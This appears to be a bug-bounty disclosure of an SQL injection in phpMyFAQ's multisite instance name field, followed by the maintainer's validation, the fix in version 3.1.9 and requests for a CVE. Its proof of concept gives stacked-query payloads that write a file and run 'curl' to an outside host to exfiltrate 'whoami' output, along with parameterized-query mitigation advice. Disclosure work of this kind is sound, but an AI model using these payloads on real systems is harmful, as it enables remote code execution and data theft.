SQL Injection inside instance name leads to Remote Code Execution in thorsten/phpmyfaq

Valid

Reported on

Nov 3rd 2022


📜 Description

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

In our application, SQL injection occurs when an administrator injects the field instance name.

🕵️ Proof of Concept

Go to FAQ Multisites

SQL Injection with a False subquery

Instance name has not changed because the subquery was False

SQL Injection with a True subquery

Instance name has changed because the subquery was True

So you can exfiltrate the database using Boolean SQL Injection.

We can also write file to disk using STACKED_QUERIES' WHERE id=1; COPY (SELECT 'toto') TO '/tmp/toto'; -- -. If the postgres instance can write into the webroot folder, this will lead to remote code execution !

We can execute OS system commands directly from postgres

To exfiltrate the result of the OS command, we can do this via HTTP :

STACKED_QUERIES' WHERE id=1; COPY (SELECT 1) TO PROGRAM 'curl XX.XX.XXX.XXX:4444?cmd=`whoami`'; -- -

And wait a connection on our server :

XX.XXX.XXX.XXX - - [03/Nov/2022 08:08:02] "GET /?cmd=postgres HTTP/1.1" 200 -

🔐 Mitigations

SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query :

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query.

📚 References

Impact

An SQL injection can have severe impacts on your application by allowing an attacker to :

  • Recover all or part of your database (including senstive data like usernames and passwods hash).
  • Modify or insert data in the database.
  • Saturate database workers with resource-intensive math functions.
  • Read or write files on the disk.
  • Execute OS commands.
  • ...

References

We are processing your report and will contact the thorsten/phpmyfaq team within 24 hours. a year ago
xanhacks modified the report
a year ago
xanhacks
a year ago

Researcher


It would be great to assign a CVE id to this vulnerabilty if the report is accepted. Regards

We have contacted a member of the thorsten/phpmyfaq team and are waiting to hear back a year ago
Thorsten Rinne validated this vulnerability a year ago

Looks valid, but again, an admin would harm his own installation

xanhacks has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Thorsten Rinne marked this as fixed in 3.1.9 with commit eff4fc a year ago
Thorsten Rinne has been awarded the fix bounty
This vulnerability will not receive a CVE
xanhacks
a year ago

Researcher


Hello

Could we assign a CVE id to this vulnerabilty ? @admin @maintainer

Regards

Pavlos
a year ago

Admin


A CVE can be assigned once the vulnerability gets published

Thorsten Rinne gave praise a year ago
Thanks again, v3.1.9 is now released!
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Thorsten Rinne published this vulnerability a year ago
xanhacks
a year ago

Researcher


Hey, could we assign a CVE id to this report ? @admin @maintainer

to join this conversation